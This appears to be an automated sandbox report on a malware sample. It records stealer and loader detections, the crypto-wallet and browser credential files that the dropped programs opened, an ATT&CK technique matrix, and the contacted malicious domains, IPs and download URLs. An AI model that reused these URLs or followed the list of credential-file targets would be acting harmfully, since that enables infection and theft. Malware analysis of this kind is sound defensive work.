Source: Yara match	File source: 0000001E.00000000.447017535.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.516926123.0000000003722000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.448094687.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.518196464.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.557976871.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.516435766.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.453201670.00000000043E1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.536505179.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.540001964.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.557976781.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\C26E.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 00000003.00000002.338228671.0000000002431000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.338186789.0000000002170000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000000.322844951.0000000004DE1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.386977371.0000000000521000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.415364379.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.415203657.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.386920457.0000000000420000.00000004.00000001.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4D1A.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8CA5.exe PID: 5208, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Show sources

Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \Electrum\wallets\
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \Electrum\wallets\
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: window-state.json
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: exodus.conf.json
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: info.seco
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: ElectrumLTC
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: passphrase.json
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \Ethereum\
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: exodus.conf.json
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: file__0.localstorage
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \Ethereum\
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: default_wallet
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: multidoge.wallet
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: seed.seco
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: keystore
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Tries to steal Crypto Currency Wallets

Show sources

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\Temp\110B.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\

Source: Yara match	File source: 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4D1A.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 110B.exe PID: 5708, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8CA5.exe PID: 5208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9B5C.exe PID: 6252, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C26E.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AppLaunch.exe PID: 4400, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 40.0.9B5C.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.C26E.exe.e40000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.AppLaunch.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.9B5C.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.9B5C.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.A87C.exe.c3b04.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.110B.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.C26E.exe.e40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.C26E.exe.e40000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.110B.exe.44ffda0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.9B5C.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.110B.exe.44ffda0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.A87C.exe.c3b04.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.C26E.exe.e40000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.3.A87C.exe.3720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.9B5C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.9B5C.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.C26E.exe.e40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000000.448610314.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.517465012.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.541684095.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.447644311.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.515568258.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.538447089.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.545178497.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.558023799.0000000000402000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.517417859.00000000000C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.447017535.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.516926123.0000000003722000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.448094687.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.518196464.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.557976871.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.516435766.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.453201670.00000000043E1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.536505179.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.540001964.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.557976781.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\C26E.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 00000003.00000002.338228671.0000000002431000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.338186789.0000000002170000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000000.322844951.0000000004DE1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.386977371.0000000000521000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.415364379.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.415203657.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.386920457.0000000000420000.00000004.00000001.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4D1A.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8CA5.exe PID: 5208, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation221	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools111	OS Credential Dumping1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer14	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API11	Application Shimming1	Application Shimming1	Deobfuscate/Decode Files or Information11	Input Capture1	Account Discovery1	Remote Desktop Protocol	Data from Local System3	Exfiltration Over Bluetooth	Encrypted Channel21	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Logon Script (Windows)	Process Injection713	Obfuscated Files or Information3	Security Account Manager	File and Directory Discovery3	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter2	Logon Script (Mac)	Logon Script (Mac)	Software Packing34	NTDS	System Information Discovery247	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol4	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Timestomp1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol125	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading1	Cached Domain Credentials	Security Software Discovery1291	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Process Discovery12	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading11	Proc Filesystem	Virtualization/Sandbox Evasion671	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Virtualization/Sandbox Evasion671	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Process Injection713	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Hidden Files and Directories1	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
H4HU4rg1NM.exe	34%	Virustotal		Browse
H4HU4rg1NM.exe	53%	ReversingLabs	Win32.Trojan.Raccrypt
H4HU4rg1NM.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\A87C.exe	100%	Avira	TR/Crypt.ASPM.Gen
C:\Users\user\AppData\Local\Temp\110B.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\56DF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\325D.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9B5C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7728.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\iudbdfd	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A87C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4D1A.exe	100%	Joe Sandbox ML
C:\ProgramData\sqlite3.dll	3%	Metadefender		Browse
C:\ProgramData\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\110B.exe	60%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Temp\325D.exe	20%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\325D.exe	50%	ReversingLabs	Win32.Trojan.Raccrypt
C:\Users\user\AppData\Local\Temp\4D1A.exe	40%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7728.exe	26%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\7728.exe	44%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\8CA5.exe	28%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
37.0.8CA5.exe.f80000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.1.325D.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.1.iudbdfd.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.1.H4HU4rg1NM.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.2.4D1A.exe.5c0e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
23.0.325D.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.0.iudbdfd.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.8CA5.exe.f80000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.2.325D.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.0.iudbdfd.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.0.H4HU4rg1NM.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.3.8CA5.exe.ed0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.0.iudbdfd.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.2.iudbdfd.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.8CA5.exe.f80000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.0.325D.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
17.2.iudbdfd.4e15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.2.H4HU4rg1NM.exe.4e15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.2.7728.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1127993	Download File
23.0.325D.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.1.8CA5.exe.f80000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.0.H4HU4rg1NM.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.3.4D1A.exe.5e0000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
25.2.4D1A.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.2.H4HU4rg1NM.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.0.H4HU4rg1NM.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.2.325D.exe.5b15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.8CA5.exe.f80000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://185.7.214.171:8080/6.php	100%	URL Reputation	malware
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://privacytools-foryou-777.com/downloads/toolspab3.exe	4%	Virustotal		Browse
http://privacytools-foryou-777.com/downloads/toolspab3.exe	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://91.219.236.148:80/capibarA	0%	Avira URL Cloud	safe
http://hose-file-host4.com/tratata.php	0%	Avira URL Cloud	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://data-host-coin-8.com/files/5376_1640094939_1074.exe	0%	Virustotal		Browse
http://data-host-coin-8.com/files/5376_1640094939_1074.exe	0%	Avira URL Cloud	safe
http://185.7.214.239/sqlite3.dll	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://194.180.174.41/	0%	Avira URL Cloud	safe
http://data-host-coin-8.com/game.exe	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id13Response	0%	URL Reputation	safe
http://185.7.214.239/POeNDXYchB.php	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id22Response	0%	URL Reputation	safe
http://file-file-host4.com/sqlite3.dll	0%	URL Reputation	safe
http://91.219.236.148:80/capibarb	0%	Avira URL Cloud	safe
https://get.adob	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id3Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Response(	0%	Avira URL Cloud	safe
http://91.219.236.148/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
unicupload.top	54.38.220.85	true	false	high
elew3le3lanle.freeddns.org	178.238.8.177	true	false	high
host-data-coin-11.com	5.188.89.48	true	false	high
cdn.discordapp.com	162.159.134.233	true	false	high
downloafilesaccess.ddns.net	155.248.231.246	true	false	high
transfer.sh	144.76.136.153	true	false	high
privacytools-foryou-777.com	5.188.89.48	true	false	high
file-file-host4.com	5.188.89.48	true	false	high
data-host-coin-8.com	5.188.89.48	true	false	high
infinity-cheats.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.7.214.171:8080/6.php	true	URL Reputation: malware	unknown
http://privacytools-foryou-777.com/downloads/toolspab3.exe	true	4%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://transfer.sh/get/s3SPeb/A.exe	false		high
http://data-host-coin-8.com/files/5376_1640094939_1074.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.7.214.239/sqlite3.dll	false	Avira URL Cloud: safe	unknown
http://data-host-coin-8.com/game.exe	false	Avira URL Cloud: safe	unknown
http://185.7.214.239/POeNDXYchB.php	false	Avira URL Cloud: safe	unknown
http://file-file-host4.com/sqlite3.dll	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/812323288264605709/924475642190397461/Hairstyle.exe	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/chrome_newtab	110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.537094600.0000000003A38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553062547.00000000029B8000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553357785.0000000002A7A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554745857.0000000003903000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.536201191.00000000039C7000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553920884.0000000002C22000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553714064.0000000002BCA000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538032817.0000000003AA9000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538636523.0000000003B1A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554592366.0000000003892000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577639176.0000000002FC6000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576780133.00000000033B8000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576898951.00000000033DA000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577905623.0000000006EB0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577210754.0000000006DDC000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580255567.0000000007155000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
